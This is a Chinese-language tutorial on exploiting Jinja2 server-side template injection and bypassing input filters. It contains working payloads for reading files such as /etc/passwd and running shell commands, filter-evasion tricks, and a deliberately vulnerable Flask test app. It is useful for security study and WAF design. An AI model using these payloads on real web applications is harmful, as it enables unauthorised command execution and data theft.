SSTI Bypass 學習 (Python3&jinja2
前言
- 在說Bypass之前咱們先說一下SSTI的基本功
- ssti服務端模板注入,ssti主要爲python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函數時,由於代碼不規範或信任了用戶輸入而導致了服務端模板注入,模板渲染其實並沒有漏洞,主要是程序員對代碼不規範不嚴謹造成了模板注入漏洞,造成模板可控。
- 利用流程
獲取基本類->獲取基本類的子類->在子類中找到關於命令執行和文件讀寫的模塊
- 所涉及到的關鍵字
__class__ 返回調用的參數類型
__bases__ 返回類型列表
__mro__ 此屬性是在方法解析期間尋找基類時考慮的類元組
__subclasses__() 返回object的子類
__globals__ 函數會以字典類型返回當前位置的全部全局變量 與 func_globals 等價
.....
- 知道關鍵字後,對我們設置WAF是很有幫助的
SSTI payload
-
我們再來看一下常見的Payload
-
文件讀取實例
# python3
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}
# python2
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
- 命令執行實例
# Python3
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
# Python2
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
-
經常會有paylaod打不通的情況類所在的索引隨環境變換而不一樣,下標也應隨之改變,所以打不通可以再找一個能利用的類
-
所以爲了解決這個問題,直接用for循環來遍歷所得的基類等,構建payload是一個不錯的方法
-
通用命令執行
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
Bypass
過濾{{
或者}}
- 可以使用
{%
繞過
{%%}中間可以執行if語句,利用這一點可以進行類似盲注的操作或者外帶代碼執行結果
過濾_
- 可以使用編碼繞過
__class__ => \x5f\x5fclass\x5f\x5f
過濾.
-
.
在payload中是很重要的,但是我們依舊可以採用
attr()
或[]
繞過 -
實驗代碼:
# app.py
from flask import Flask, request,render_template_string,render_template
app = Flask(__name__)
@app.route("/",methods=['GET','POST'])
def page():
name = request.values.get('name')
return render_template_string(name)
if __name__ == "__main__":
app.run()
-
運行之後,往路由
/
傳入變量name
即可觸發SSTI -
先來看正常傳入payload
http://127.0.0.1:5000/?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`
- 使用attr()
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
-使用[]
http://127.0.0.1:5000/?name={{ config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }}
利用request
- 如果對我們特定的參數進行了嚴格的過濾,我們就可以使用request來進行繞過,request可以獲得請求的相關信息,我們拿過濾
__class__
,G可以用request.args.t1
且以GET方式提交t1=__class__
來替換被過濾的__class__
- 形式1
{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__
- 形式2
{{''.__class__}} => {{''[request['args']['t1']]}}&t1=__class__
- 同理也可以使用POST,只需要需要將args換成form即可
另外一種思路
-
出自P3師傅的文章:利用Python字符串格式化特性繞過ssti過濾
-
因爲構造起來還是很長的
-
這裏簡單的給出一個批量腳本
str1 = '__class__'
res = ''
for i in str1:
res += "{0:c}"+"['format']({tmp})%2B".format(tmp=ord(i))
print(res[:-3])
END
心得
- Bypass主要還是看思路,只要思路足夠風騷,各種奇思淫巧少不了
- 同時也需要多多交流,讀讀別的大佬們的文章開拓自己的思路